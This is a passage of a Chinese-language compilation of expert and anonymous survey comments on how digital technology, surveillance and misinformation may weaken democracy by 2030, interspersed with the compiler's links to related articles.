纽约大学媒体、文化和传播学助理教授、哈佛大学伯克曼·克莱因中心研究员 *James Sigaru Wahu*：

“正如我们在整个全球北方看到的那样，科技只会让线下的紧张局势变得更糟。这导致了对民主观念的多重挑战，正如布雷斯特事件、2016年总统选举、和针对移民群体的暴力事件所显示的那样。

我们也看到国家通过利用技术扩大其监控权力的普遍行为，中国和英国的情况就是如此（有大量的闭路电视摄像机存在）。

全球南方国家也加入了监控竞赛，这对倡导人权的组织和民众来说不是一个好兆头。因此，我们看到的是俄罗斯和中国等国家在高科技监控和误导/造谣方面的实力不断增强，而在美国，全国各地的一些警察部门则依靠 Palantir 等邪恶公司扩大对公民的监控。这两种情况都导致了灾难性的结果。”

- 关于中国和俄罗斯《毒霾—监控审查网络的全球蔓延：中国和

俄罗斯的共同点与区别（长篇报告）》
- 关于大规模监控的新进展《#COVID-19(84)冠状病毒如何让整个地球变成了反乌托邦地狱—包括但并仅仅是中国：长篇报告》
- 关于美国《他们将中国视为榜样：泄露文件揭示政府间谍机构如何利用冠状病毒推动大规模监视的内幕》
- 关于 **Palantir**《新自由主义结束了—欢迎来到新*不*自由主义时代：冠状病毒、中国、寡头、高堡奇人……》

香港中文大学新闻与传播学院教授 *Lokman Tsui*：

“新技术的政治经济学，让我对新技术如何影响民主及其制度有很多担忧。首先，包括人工智能、机器学习和大数据在内的许多新技术都具有封闭性和集中性。与之前的开放网络不同，这些技术无论是在设计上还是在商业模式上，都是封闭的、集中化的。

这些技术确实可以用来完善民主制度和程序，但是，难度非常大，会有很多障碍需要克服。

其次，新技术不仅没有帮助民主国家，而且从设计上看，它们还在帮助和加强专制国家进一步加深的审查和监视。

虽然也有一些技术可以抵消这些倾向，但是天平往往（严重）倾向于另一方。

第三，我担心的是，在收集（个人）数据的问题上，存在着全球范围内的恶性竞争，这只能使许多其他权利受到压制。”

- 《#COVID-19(84)冠状病毒如何让整个地球变成了反乌托邦地狱—包括但并仅仅是中国：长篇报告》

技术赋权的倡导者、未来学家 *Norton Gusky*：

“多年来，我真正地相信互联网能带来更多的信息获取途径，从而加强民主。但是，在过去的四五年里，我已经充分目睹了互联网的黑暗面。

我认为会有一个摇摆，但是在未来的两到四年里，黑暗的力量只会占上风。我们会看到土耳其、中国和埃及等国家如何限制真相的获取。即使是曾经的民主支柱英国和法国，也会受到滥用数字技术的挑战。”

伯克曼·克莱因大学互联网与社会中心研究员 *Paola Ricaurte* ：

“即使在我们意识到技术对民主进程可能产生的负面影响之后，也没有看到美国政府采取任何重大行动限制科技公司的权力。科技公司的域外控制将进一步扩大，并将继续对全球南方的民主制度产生影响。数据丰富的国家和数据贫乏的国家之间的知识差距将更为加深。”

查尔斯顿学院教育学助理教授 *Ian O'Byrne*：

“权力和金钱最终会影响民主机构的决策。随着动荡的加剧，公民可以利用社交媒体和当前/新的数字工具来表达自己的意见。但是，最终这将会被现有的权力持有者再次推倒，最终可能什么都不会改变。

现有的权力拥有者将继续发挥他们的影响力，而公民们只能继续通过向网络世界呐喊来表达自己的意见。”

美国三角研究所创新政策高级经理 *Jeffrey Alexander*：

“在人们习惯于将权力集中在少数几个机构的社会中，中央政府已经通过监控和国家权力来行使权力，数字技术将促进恐吓、造谣和其他减少个人自由、压制少数人意见和实施专制控制的机制。

- 《中央政府的神话》

这将使这些政府能够增强假民主的表象，例如提供“自由和公开”的选举，但是，却在选民到达投票站之前就利用这些机制成功地压制了不同意见，从而加强其自身权力。

- 《投票心理学：行为成因分析 帮你抵制宣传的迷惑》

只有在具有强大的个人教育和自由传统以及公民驱动的社会中，数字技术才可以帮助挫败专制统治的兴起，改善对执法和政策过程的监督和治理，并加强公民对政府的监督和对政治的参与。”

GlobalSecurity.org 创始人 *John Pike*：

“2030年的民主将面临最好的时代和最坏的时代。所有关于社交媒体和其他在线实施加强公民参与的乐观预测都将实现；同时，所有关于监控国家可以轻易操纵舆论的悲观预测也都将实现。像俄罗斯和中国这样的专制政权很擅长这种黑暗艺术，并将在全球范围内实践。”

一家互联网安全公司的工程师 *Shane Kerr* ：

“那些拥有资源的人将能够更有效地利用技术来影响舆论和政策，最终与民主理想背道而驰。

我们今天已经看到了这种雏形，但它很可能会演变成一种非常普遍的做法，普通公民甚至不会意识到这一点，除非他们去研究下历史”。

- 《监视简史：从圣经到棱镜》

弗吉尼亚联邦大学数字研究副教授 *David Golumbia*：

“除非对数字技术的民主控制有大规模的根本性改变，否则该技术将继续侵蚀民主。正如它的设计一样，也正如它的最热心的拥护者公开表示他们想要的那样，他们甚至会假借民主的语言和自由表达等联盟价值来为他们的反民主行动辩护。

我谨慎地希望，政府和公民都能清醒地意识到这一强大的反民主力量的存在，这些力量已被编入现今的技术和文化中，并为其提供信息和权力。……·虽然我希望情况会有所改善，但是，在民主国家，用于确保情况不会改善的巨额资金和权力令人恐惧，而在那些甚至不打算成为民主国家的国家对这些技术的使用如此疯狂，同样令人恐惧。”

麻省理工学院公民媒体副教授 *Sasha Costanza-Chock*：

“民主进程的核心方面已经深受压力而被破坏。在美国，我们需要进行重大改革，以使人们能够更广泛、更有意义地参与民主决策。但遗憾的是，其中大部分改革都是极不可能的。

相反，我们似乎被锁定在一个精英主义和极其昂贵的选举制度中，在这个制度中，拥有最多金钱和与最富有的支持者有联系的玩家操纵着整个制度，使之对他们自己有利。

在这种情况下，许多技术工具只是在推动那些能够为自己的目的开发和定制这些工具的人的权力—— 他们就是最大的玩家。反作用力微弱，比如反叛的候选人能够利用社交媒体推动自己。”（但有多少人能看到他们的发布，取决于专制的算法）

澳大利亚新南威尔士州南十字星大学流行文化学术研究员 *Denise N. Rall*：

“我相信技术将帮助现在的独裁者保持领先地位，并控制我们所有生活的更多方面，恶化民主的前景，就像世界上大多数经济强国已经发生的那样（美国、俄罗斯、中国以及欧洲的右翼选举、英国Brexit的

荒唐等）。我认为环境恶化将成倍增加，人们将很快为能源、水和食物等资源而战。我认为，如果政府没有真正的减少资源消耗的愿望，没有某种全球性的节制计划，技术是没有能力改变这些结果的。”

一位需要匿名的受访者评论：

“中国有可能通过加强对公民的监控和完善所谓的‘社会信用评分’立法的方式，阻止民主和打破一党专政的政权更迭趋势。

中国有可能通过向希望继续掌权的非民主政权分发此类技术，帮助支撑那些既得利益的发展中国家的政权。

- 详细内容见 列表-4 “作恶者：中国在帮谁”

我认为印度最终选择哪种方式取决于其政治环境中广泛的腐败究竟是被利用了还是被其公民不断增加的对技术和信息的获取所挫败。”

纽约州立大学·奥尔巴尼分校政治社会学教授 *Richard Lachmann*：

“民主将继续被削弱，但技术只是次要因素。在民主的衰落中，更重要的是工会的消失或被削弱，公司在各行业的权力因合并而不断增长，不平等的极端程度，以及富人和政治人物操纵‘否决点’使政府举措瘫痪的能力，然后增加公民对政治家的嫉恨，减少他们的民主参与。

所有这些都是在互联网扩张之前就已经存在的，并不会因为公民的网络活动而大大减少。”

上图中这本书在这里下载：https://www.patreon.com/posts/jiu-de-min-zhu-39999713

创意研究学院院长 *Vince Carducci*：

“政治体制变化的发生更多的是权力和金钱的作用，而不是技术的作用，尤其是在候选人的选择和司法系统中。这些比技术更具有威胁性”。

互联网最早也是最著名的在线社区之一的一位联合创始人：

“民主正受到威胁。责任最终不能完全归咎于互联网或计算机辅助自动化或人工智能。个人和企业财富为支持其私利而利用这些技术的巨大力量，将越来越多地压制平等主义和民主价值。”

美国一家联邦机构的科学家：

“我们正处于一个日益增长的孤立主义、本土主义和反弹的时期，这将削弱世界各地的民主制度，到2030年，这种状况可能已经达到了一个高峰。潜在的经济和环境变化是导致民主制度变弱的主要原因。”

一位退休教授评论：

“公司将对雇员和客户拥有更大的权力。美国总统艾森豪威尔很早以前就警告过，这将是企业不断接管民主制度的一部分。

识别和监控技术将扩大其使用范围，更为深刻地蚕食社会生活的私人领域。社交媒体将继续加强家庭和朋友之间的强大社会关系，同时促成熟人之间薄弱的社会关系的形成，而这种社会关系支持着多元化社会中必要的群体间合作。

气候的恶化及其对健康、农业和基础设施的影响将造成越来越多的非理性形式的互相指责和全球冲突。全球冲突将包括针对军事强国的电子和生物形式的侵略。

更多的公民反击是可以预期的，但很可能是针对不适当的目标。

我们所熟知的社会将从灾难跌落到更大的灾难，走向我们物种的大规模消亡。我希望我是错的。我希望看到我们的物种能够完整地生存下来，并保持其民主价值。我有孙子。我希望他们的孙子能继承一个更好的世界，而不是我们现在的技术官僚资本主义经济所奔向的世界。”

匿名受访者评论：

- “资本主义下的互联网只会为少数人服务，而不是为多数人服务，民主也会因此而被削弱。问题在于竞争性的经济需要，而不是技术上的负担能力”。
- “导致变化的不是技术，而是创造各种技术的体制和结构。”
- “最大的声音将继续是那些能够被听到的声音。尽管媒体可能会发生变化，但精英人士仍将掌管一切。”
- “科技公司和政府有强大的动力避免采取措施来解决互联网平台损害民主机构的破坏性方式。”
- “权力腐败。看看今天的科技巨头都在干什么 —— 操纵和宣传。他们是认为自己最了解技术的精英人士。”
- “大数据和超级计算能力的结合似乎对民主产生了负面影响，我

认为没有迹象表明可以有效地进行监管或管制，特别是考虑到超大型互联网公司和政府的权力关系（尤其是数据宝库）。”
- “我不相信政府了解这些工具，他们会屡屡失败，无法好好监管或组织；我也不相信私营公司是民主的，因此他们容易强化资本主义独善其身，而不是民主。”

减少被统治者：数字网络监视资本主义创建了一个不民主的阶级制度，使控制者与受控者对立起来

「图」

奥斯陆大学数字伦理学教授 *Charles Ess*：

“民主 —— 它的基本规范和原则，包括基本的隐私权、言论自由以及质疑和自觉不服从的权利 —— 可能会在2030年以前以某种形式和在某些地方存活下来；但是，有许多强有力的理由足够判断，即使是传统的民主国家，也会被监视资本主义的力量推到边缘，再加上公民对这些力量的无力感越来越强，对操纵信息和操纵选举的无能为力。更不用说中国越来越广泛地输出以其新兴的社会信用体系为蓝本的数字专制主义技术了。”

宾夕法尼亚州立大学电信法教授 *Rob Frieden* 曾在摩托罗拉公司工作，并在联邦通信委员会和国家电信与信息管理局担任高级职务，他说：

“技术创新似乎更适合扩大政府的权力，而不是提高个人逃避监控的能力。在整个政治意识形态的范围内，国家政府可以举着所谓的国家安全旗号为越来越复杂的监控技术增加预算。

无辜的人的合理隐私期望将受到侵蚀，特别是在拥有巨大处理能力和范围的技术，再加上模糊的授权的情况下。

除非公民进行反击，否则政府将利用监控技术达到促进国家安全以外的目的。人们有可能对无处不在的监控变得习以为常、麻木不仁，以至于反击似乎太难，而且毫无成效。”

- 《6年，改变了什么？》

研究创新和数字转型的牛津互联网研究所高级研究员 *Gina Neff*：

“根本没有理由相信技术可以加强民主。西方民主国家正在努力应对

来自金融资本日益集中的权力及其以民粹主义兴起为形式的回应。如果不注意加强我们的核心技术和通信基础设施，这些权力将继续破坏人们参与 —— 实际上也是创造 —— 民主的方式。”

伊利诺伊大学芝加哥分校传播与政治学教授 *Zizi Papacharissi*：

“我们目前的治理体系支持强资本主义/软民主。在这种平衡被重组，支持软资本主义/强民主之前，我们创造的任何技术都将继续不利于民主。

简而言之，我们创造的技术是为了创造利润，而不是为了支持民主。

两者是可以兼得的。然而，我们只是没有这样设计。

到2030年，我们将看到技术推动的民主和政治进程被进一步削弱。这种情况的发生并不是因为技术本身有什么不好或不民主的地方。而是因为大多数技术是通过支持强大的资本主义模式的机制来设计、实施和/或部署的，而这种模式是几个世纪前建立的，需要更新，以便与当代社会、民主社会和非民主社会相适应”。

艾默生学院参与实验室的智慧城市研究专家 *John Harlow*：

“虽然反垄断情绪不断升温，但2030年很快就到了，占主导地位的言论数字公域（Facebook、Twitter、YouTube）很可能会引出（法院）任何改变其商业模式和/或做法的监管行动。

目前，它们受旨在最大限度地增加 “参与” 时间从而增加广告收入的算法专制的管理，这些算法将极端内容优先于准确内容（以及其他问题）。这使得专制的极右势力在世界各地崛起并得到支持，并破坏了人们对民主机构和进程的信心和参与。”

- 详见《新自由主义结束了—欢迎来到新*不*自由主义时代：冠状病毒、中国、寡头、高堡奇人……》

一位社会技术系统专家写道：“社交媒体科技公司将继续抵制任何控制和有意义的监管，以维护其核心业务，Shoshana Zuboff 将其贴切地描述为监视资本主义。寡头们或许还在外国利益集团的帮助下，将继续为自己的利益操纵舆论。经济上的不平等将继续增加，对移民和精英的不满也一样。”

一位人机工程设计专家写道：

“民主的衰败首先应该归咎于资本主义本身，而技术的作用是次要的。资本主义似乎早该受到重大冲击，以至于预测2030年这么远的事情似乎很愚蠢。此刻已经见证了十年来不断强化的分心工程。”

- 《分心（注意力操纵）才是最常见/最邪恶的审查制度》

一位曾在美国政府机构工作过的法律专家写道：

“基于每个人的数据和推断数据的日益复杂的营销有可能越过说服和操纵与胁迫之间的界限，而第一修正案对政府的约束将需要相当程度的胁迫证据，然后政府才能进行干预…

- 《心理操纵的秘密：”行为经济学”＋PR＝？》

操纵的威胁 —— 我们在2018年的剑桥分析公司风波中看到的冰山一角 —— 是完全真实的，而且还在不断增长。行业或政府是否能够遏制它是一个开放的问题。工业界当然有利益冲突 —— 其操纵越成功，工业界赚的钱就越多。而政府有第一修正案的约束，理论上可以限制它的作用。”

网络安全记者 *J.M.Porup*：

“信息技术破坏了民主，将权力重新分配给所谓的情报界（这只是秘密警察的委婉说法）。

大规模监控使极权独裁成为可能，并披上一层薄薄的戏剧性外衣，让人们误以为自己还生活在一个 “自由国家”。

不可能建立完全安全的软件、网络或设备，意味着黑帮和间谍会入侵这些设备，并夺取对它们的控制权，以积累更多的权力。

网络安全是我们这个时代的核心政治问题，而在第五领域[网络空间与陆、海、空、太空一起作为战争的场所]上的政治组织看起来很像戒严。低技术的记者向低技术的受众报道这些问题时，往往会混淆问题。

各大网络雇佣前间谍向美国人民撒谎，只能称之为事实上的国家电视台。前景是严峻的，如果没有更多精通技术的记者来提高警惕，我对我们政治自由的未来是悲观的。”

Appropedia 基金会执行董事 *Emilio Velis*：

“过去10年，技术平台塑造的用户参与方式，将分散信息的权力转回给了大公司、平台和利益相关者。或者，更糟糕的是，它削弱了个人的行动能力，同时保持了他们拥有控制权的虚幻感觉。”

加利福尼亚大学洛杉矶分校设计、媒体艺术和数字人文教授、《*Tales of the Computer as Culture Machine*》的作者 *Peter Lunenfeld*：

“像 Facebook、Twitter 等商业平台驱动的通信技术及其最终的继任者，不可能在21世纪未来几十年加强代议制民主。它们可能会在对话中增加 ‘声音’，但是它们不太可能支持和维持20世纪成功民主的主要形式 —— 那些指定代表他们进行辩论和立法的民主，这些代表来自具有和政党一致的既定意识形态的平台。

我们开始看到的是对话式 “社区” 的发展，这些社区模仿真正的民主行动，但是，它们不向参与者提供实际权力，比如意大利的五星运动，或者出现像奈杰尔·法拉奇的 Brexit 这样以个人为主导的单一议题的组织。

- 《社区应该是什么？是谁在玩坏这个概念？》

就像五星运动和 Brexit一样，未来的政治运动有可能利用社交媒体提供民主对话的机会，但是，实际上并不赋予参与者控制或指导运动的权力。

社交媒体技术正在创造民主政体的畸形，它们将具有看起来和感觉上都很民主的设计属性，但它们的核心将是专制的。”

一位匿名受访者评论：

“随着 DeepMind 式的算法被应用于互联网上的材料，今后对个人评论的追踪程度将大大增加。人们在不知道自己的态度被各种组织记录和积累的情况下发表评论将变得更加困难，因此人们将不愿意说出自己的想法。因此，言论自由将受到限制，从而阻碍了民主进程。”

美国一所大学的电子工程和计算机科学教授、未来通信网络专家写道：

“社交媒体使政客有可能以有针对性的方式接触选民，从远处传递针对特定目标的信息，而不是促进当地社区的讨论和参与。

互联网服务平台缺乏隐私，加上人工智能和大数据，现在使候选人有可能以几年前无法想象的方式识别和影响选民。

- 《选举运动的数字化斗争: 2020 Presidential Race》

如果不采取纠正行动（如限制使用公民私人信息的新选举规则），这些新能力可能会导致政治更加不稳定，并可能导致整个民主制度的崩溃。美国似乎是西方世界第一个变成这样的牺牲品。”

Sam Adams 是一位在*IBM*工作了*24*年的老员工，现在在*RTI*担任人工智能领域的高级研究科学家，为全球利益构建国家规模的知识图谱，他说：

“互联网为每个人提供了一个全球性的扩音器，因为任何人都可以即时和基本上免费地发布意见和观点。每个人都有一个传声筒，但问题是，我们被淹没在更多的噪音中，而不是有用的信息中。

这就更麻烦了，因为各方利益集团利用自己的权力和资源，将自己的声音放大到远远高于普通公民的程度，甚至将普通公民弱小的声音埋没在利益集团控制的山崩地裂的声音之下，有效地压制了普通公民的声音。

鉴于利益驱动的新闻周期和社交媒体的回声室，只有最响亮或最极端的声音才会被重复。

这进一步加剧了公众讨论的情绪化程度，促使听众走向极端，而不是更多的共同点。

- 《讨论的终结》

一个民主国家要想成功，就必须公平地代表人民的意见。而在这个技术主导的世界里，这种公平性的一部分必须包括平衡各种声音的音量。”

驻澳大利亚的商业未来学家和顾问 *Philip Rhoades*：

“随着世界第六次大灭绝的不可避免的结束，新自由主义的西方发达世界正在滑向法西斯主义。

随着这种生态崩溃和政治倒退的进行，现代技术将大部分被用于压制绝大多数人/公民。有些技术可能会帮助保护民众免受国家的镇压和恐怖，但是，从大的方面来说，它的效力将是微不足道的。”

加利福尼亚大学梅西分校计算认知神经科学教授和研究员 *David Noelle* ：

“在美国，政策和舆论越来越多地被塑造为支持权力利益而不是人民的利益。监管被视为对我们陷入困境的经济的威胁，鼓励企业权力推行危险的短视战略，仅仅为投资者创造回报。

没有被代表的人已经被旨在维持当权者的选举过程压制住了。我们这个时代最有影响力的技术都被设计为依赖于大型集中式基础设施。

专注于依赖可控基础设施的技术，无论是私人持有还是由政治权力操纵，都会加强目前掌权者的地位，越来越限制人民要求民主代表的能力。

请注意，这个意见并不是要呼吁限制技术，而是，呼吁从根本上改变政治和经济体制，以便为全体人民提供代表权。一个更加民主的制度将产生更多的民主技术”。

- 监视资本主义的替代品《安全工具箱补充版：分类工具列表（2）》

居住在加勒比地区的独立互联网活动家 *Deirdre Williams*：

“我们被教导说，便利是最重要的优先事项。‘创新’正在扼杀独创性。我期望在未来10年内，钟摆会朝相反的方向摆动，但这需要一段时间来修复公民和政府之间的鸿沟，并提醒政府对所有公民的照顾责任。”

- 《便利的暴政》

经验丰富的首席经济学家和国际经济顾问 *Scott B. MacDonald*：

“未来很有可能成为一个黑暗的奥威尔式的地方，在少数富人和权贵控制下的强大技术和被机器变成经济上多余的、等待每天一剂 Soylent Green 的被洗劫的广大群众之间摇摆不定。

一个很大的变化是，人们可能不再需要去投票，而是通过手持或植入的通讯设备进行投票。如果我们不小心，技术就将成为加强控制的设备，而不是民主，就像在中国那样。面部识别任何人都可以吗？”

《*A Theory of Persuasive Computer Algorithms for Rhetorical Code Studies*》的作者 *Estee Beck*：

“除非国会采取行动，通过保护消费者的立法，限制监视资本家的监控行为和对隐私的侵蚀，否则民主机构将面临更大的危险，来自国内

和国外的威胁，失去美国公众的信任，私人技术公司在市场中贬值。

技术的基础设施，有问题的编程，可以用来渗透和深度黑客攻击；现在与当权者和寡头公司合作推动亲中国的监控增长、通过边境监控崩溃美国和墨西哥的关系、生物安全技术的营销、以及最终推广人工智能消费品和服务 …… 将分裂国家的信仰，让美国公众不再信任国会能为公共利益采取行动。”

- 关于这段话的解释，见《他们将中国视为榜样：泄露文件揭示政府间谍机构如何利用冠状病毒推动大规模监视的内幕》

驻欧洲的自由撰稿人和未来学家 *Matt Colborn*：

“我不否认技术有可能加强甚至革新民主。事实上，这也是我在上世纪90年代革命之初所希望的。然而，从公民的角度来看，新技术已经完全降低了精神自主性和智慧选择的能力。为什么呢？

1）像 YouTube 这样的平台，由于使用专制算法，似乎更适合传播政治宣传和进行非自愿洗脑。

2）由于个性化媒体的 “回音室” 性质，极端的部落主义也在增加。

3）政府和企业正在摧毁任何一种隐私人权。读取思想的神经技术是其中的 ‘最后疆域’。现在这个最后疆域也正在被 “脑机接口” 瓦解。

- 关于脑机接口究竟为了做什么，见《超级战士：DARPA 想要制造精神控制的战争武器》
- 以及，《来自中国和美国的政府监视：7个危险的用例》

问题还在于，陈旧的专制体制、右翼民粹主义和新科技之间的有毒互动。

这些效应意味着民主被淡化，而「监视」国家则被强化，深层的部落分野则更为加剧。

虽然肯定有反击运动出现，但是，经济上的不平等使得有钱有势的人基本上可以从这些发展中获得巨额收益，而我们这些普通人却不能。在这种环境下，那些想要进行政治创新的人将会感到异常的艰难。 ”

一位人工智能专家预言：

“‘民主’到2030年可能变成更加严重的精英主义。如果你是一个大公

司，生活是很好的，但如果你是一个普通的工薪阶层公民，生活就完全不一样了。

谁在这个世界上有话语权，将更多地取决于金钱和权力。

公民技术专家会先承诺用技术拯救民主，但五年后就开始收费，因为“必须有人为维护付费”。

而且他们会逍遥法外，因为没有人会记得政治权利是一种基本权利，而不是商品”。

一位匿名人士写道：

“最近香港的示威者要用现金购买单程交通卡，才能行使民主权力；但是，当大规模人脸识别技术实施后，这将是不可能的。基本上，民主行为几乎变得完全不可能。”

- 《香港的抗议活动中再次强调了你的脸如何成为武器》

利用数字文盲：公民缺乏数字技术的程度和他们的冷漠会导致知情权严重下降，削弱民主和社会结构

「图」

研究声誉管理的圣母大学教授 *James S. O'Rourke IV*：

“正如尼尔·波斯曼在1985年所写的那样，‘我们不再进行文明的公共对话。我们只是在自娱自乐，娱乐至死’。

数字化生活带来的更隐蔽的影响之一是对长篇文字的容忍度降低。人们，尤其是年轻人，会阅读，但是如果涉及到几段以上的文字，就不会阅读。他们中很少有人会买书看。

- 这是一个严重的问题，而且复杂，更多详细解释见 列表-2 “你如何在被互联网所改变”

新闻网站发现，更多的人会点击视频，而不是滚动浏览一篇报道的文字。鉴于现在操纵数字视频图像是多么地容易，鉴于玩弄人们的先入为主和偏见是多么容易，鉴于我们社会中的大多数人在寻求新闻、意见和分析方面变得多么懒惰，那些试图欺骗、分散注意力的人现在已经占了上风。

没有人能够真正理解他自己的论点，除非他先了解过一个不同意的人的立场。这种了解如今越来越少。长期以来所预测的 ‘过滤泡沫’ 效应越来越明显。人们根本不会去寻找、阅读或花时间去理解自己不理解或不同意的立场。

相当多的人现在生活在事实、信息被歪曲、认知基础不足的情况下，无法做出深思熟虑的决定。准确的信息已经无法驱除错误的想法、宣传、影射或欺骗”。

- 《纠错有很高的技术含量 稍有不慎便适得其反，该怎么做？》

牛津互联网研究院高级研究员 *Bernie Hogan*：

“没有公民的技术是资本主义的，具有明确的逻辑和无限的范围。

民主体制和公民社会是以边界和可理解的尺度为前提的，比如 ‘地方报纸’ 或 ‘省级电台’。而技术正在允许规模的超越，我们还认为这很好。当然，从传送和交付方面来看，这是非常了不起的；但是，社会凝聚力需要人们理解到，有一个连贯的、有边界的人群来关心和定义一个人的身份，接受或反对。它要求人们看到的和做到的东西不仅仅是作为消费者和偶尔的党派选民。”

被誉为国际科技心理学专家的加州州立大学心理学名誉教授 *Larry Rosen*：

“我担心许多公众不具备判断真假的技能，扭曲的信息可能也确实会导致对内容的误解。”

范德堡大学教育和公共政策教授 *Carolyn Heinrich*：

“随着互联网内容越来越多地由您认识的人和熟悉的地方为您定制，除非您自己努力进行更广泛的阅读，否则，您所接触到的信息和观点的范围只能不断缩小。（这就是定制人的专制）

- 《算法暴政：定制人如何终结民主》

为了将负面影响降到最低，人们必须主动努力扩大自己的交流圈和信息/知识来源。随着技术越来越多地渗透到学校的课程中，人们也需要审视技术厂商在他们的内容中到底传达了什么，谁是这些内容在教学视频中的 “代言人”。这是我们目前在研究中调查的要点。”

- 《谷歌正在对你的孩子下手》

- 《别让你的孩子深陷1984》

罗格斯大学公共政策和政治学教授 *Cliff Zukin*：

“无论如何，在美国，伴随着技术使用的增加，政治冷漠程度也在增加。

一方面，技术转移了人们对治理和公民事务的关注；另一方面，技术的不断增加所带来的利益离心力，使得公民的核心知识基础和公民基本权利受到侵蚀。

这的确可以让群众运动更快地组织起来，给领导人施加压力，但是，右翼的、经济衰退后的民粹主义和反全球化，在我看来，并不是一件好事。”

一位匿名受访者说：

“不幸的是，美国采取的是根本上不民主的程序，比如选举团，将继续被假新闻和技术支持的操纵所破坏，一些州拥有超大的选举团投票权，但通常缺乏教育，很容易受到这种利用。”

一所主要大学的互联网与社会中心的研究员写道：

“我担心，敌对势力和trolls操纵舆论的容易程度只会越来越高，越来越复杂，导致选民掌握的事实信息水平越来越低，或者更糟糕的是，对投票和民主进程完全冷漠或冷嘲热讽的程度越来越高。”

圣路易斯大学政治学助理教授 *Eric Royer*：

“规范的崩溃创造了一个伪真相的环境，这与政治两极化、尤其是边缘人群的政治两极化，以及公民对任何政府的不信任和冷漠直接相关。

技术，尤其是社交媒体平台中的技术，蕴含着无限的潜力，可以让世界不再陌生，然而，它在我们日常生活中的操纵和影响，在当前全球和国内的民主进程和机构中，确实被误解了。”

一位专注于人工智能中的公平性、透明度和问责制的研究科学家：

“假新闻和像 deepfakes 这样的操纵媒体的兴起，埋下了对媒体和机构的更大的不信任，这正在破坏民主，导致民众的信息量减少，公民参与度降低。

- 《当人们不再信任－－埋藏在情绪数据中的媒体和被损伤的社会知觉》

人们不知道该相信什么，所以他们往往选择要么什么都不相信，要么相信自己的直觉。加之，利用社交媒体操纵策略来左右选举的外国行为者进一步破坏了民主的合法性。”

- 《开源情报和取证学如何对付“深度造假”？（有很多视频）》

爱荷华大学传播学副教授 *Mark Andrejevic*：

“我的大部分职业生涯都是围绕着技术对审议、公共问责和代表的民主进程的影响的深切关注而建立的。这是因为技术需要在其被应用的社会关系的背景下被理解，并且这些技术已经有利于特权抽象的消费主义个人主义，压制了参与式民主社会所必需的对共同、共享或重叠利益的基本承诺。

当代信息环境（以及我们的设备和信息“消费”模式）所特有的超定制化和目标化形式，符合系统性拆除社会和政治机构（包括公共教育、工会和社会服务机构）的更广泛模式，而这些机构是建立在并帮助重现对相互依存的理解之上的，它们可以使人们所珍视的个人自由成为可能。

与许多人一样，我也担心政治两极分化的加剧，以及这种情况如何通过自动策划系统将虚假的和误导性信息武器化，使商业利益优先于公民需求。

- 《武器化的社交媒体正在推动法西斯主义的爆发》

这些趋势在社交媒体兴起之前就已经存在，如果没有社会和公民的基本形式的去技能化，这些趋势就不会如此强劲，而这种去技能化的结果是将固有的社会功能和实践卸载到自动化系统上，导致人们压制和误解整个相互依存的、共同性和公共利益的基本形式。我不乐观地认为，除非发生社会/政治/经济灾难，否则任何事情都不会改变这一方向”。

一位长期担任*CEO*的互联网和电信专家：

“公民将越来越多地在不了解批判性分析和推理、不了解事实、甚至不了解法治的情况下采取行动。在所谓的‘打击不公正’的幌子下，我们将继续看到网络警戒主义、通过社交媒体的火力风暴、有效地‘审判和定罪’任何被指控为言行不支持其价值观的人。”

- 一个比较明显的现象级案例 《你的老板怎么比网警还厉害？》

非营利组织的技术顾问 *Gretchen Steenstra*：

“我担心的是更高速传播的信息没有包括所有关键的和支持性的信息。数据被用于在失去背景的情况下产生观点。消费者不会进行事实核查（在许多问题上都是如此，不管是哪个党派）。

美国人不关注社会责任或下游影响 —— 他们只想要即时结果。汹涌如潮的媒体削弱了人们寻求信息和形成自己观点的能力；持续的连接性阻止了思考，你的大脑无法放松。没有人可以反驳人们对理解的渴望。”

一家智库的技术与创新中心的研究员写道：

“民主将由更多的人工智能系统驱动，这些系统将使一系列决策自动化。因此，个人对自己决策的投入可能更加有限，因为数据由机器推断。

这将意味着与民主进程的联系更加松散，或者说是由人们通过主导平台看到、听到和感觉到的东西所驱动的联系。如果在涉及投票等具体用例时没有某种程度的政策约束，技术只会起到削弱公众信任的作用，同时，由于新兴技术所提供的复杂程度，技术也在减少对实际公众投入的依赖。”

- 更多详见《政治的未来：当机器决定“民主”？》

德克萨斯州立大学名誉教授、组织变革复杂性专家 *Philip J. Salem*：

“人们对如何使用互联网会越来越谨慎。每个人都必须更加小心使用。我担心的是，反射性的、下意识的反应会随着互联网的速度而迅速蔓延，并产生更多的悲剧性后果。”

旧金山大学计算机科学教授 *Jeff Johnson* ：

“如今的社交媒体鼓励未经核实的信息传播，这会扭曲决策和选举。人们往往很懒惰，甚至在不阅读文章的情况下就开始大肆评论，更不会检查文章的真实性。

在电视时代、社交媒体之前，想要放出关于政治对手或选票措施的虚假信息是很昂贵的，而且要受到打击“虚假广告”法律的约束。政治热门稿件必须资金充足、措辞含糊、时间谨慎（到选举前的关键时

刻），才能左右选举。而现在不再是这样了，已经变得异常容易。对社交媒体的有力监管或许可以缓解这种情况，但在可预见的未来，这种监管似乎不太可能。”

作家 *Pamela McCorduck*：

“我现在对民主并不乐观。互联网放大了已经伴随我们一段时间的趋势 —— 极端主义和冷漠。在过去的几次选举中，我们真正投票的潜在选民比例只上升了一两次。大多时候是惨不忍睹。

部分原因是压制选民的结果（不仅是将选民从名单上删除，而且还使投票过程远比需要的更繁琐）。

另一部分原因是选民意识到，当选官员更多的是对黑钱的依赖，而不是对选举他们的人的依赖。我希望我错了，我期待这个国家有未来。”

- 《什么是”黑钱”？解答5个问题》
- 《如何创建真正的民主》

委内瑞拉中央大学社会技术影响问题研究员 Luis German Rodriguez：

“民主一直在被削弱。在新兴技术的支持下，无论你看向哪里，专制统治似乎都在不断加强”。

匿名受访者评论：

- “人们不会使用互联网来研究问题，相反，他们只会接受摆在他们面前的任何偏见。”
- “问题是，随着批判性思维能力的削弱，真正的新闻与观点新闻（以及代替基于事实的严肃辩论的胡扯的盛行）缺乏适当的政策和治理原则，这些工具被用来传播虚假信息。”
- “公众因注意力被操纵、导致推理能力减弱而更加容易受骗，成为那些试图侵蚀民主的基本制度的幕后黑手的可塑性目标。”
- “我不关心技术，我关心的是人们是否有能力和意愿提升判断力。”
- “对民主的最大威胁是人们缺乏批判性思维能力，无法区分真实信息和错误信息。”

发动信息战：任何人、任何地方、任何时候都可以将技术

武器化，以针对脆弱人群和选举

「图」

高科技论坛的创始人、以太网和*Wi-Fi*标准的共同创建者 *Richard Bennett*：

“社交媒体平台的经济模式使得这些工具不可避免地弊大于利。只要传播愤怒的情绪和虚假信息注定比传播事实、理性、科学和证据产生的利润更多，坏人就会继续获胜。

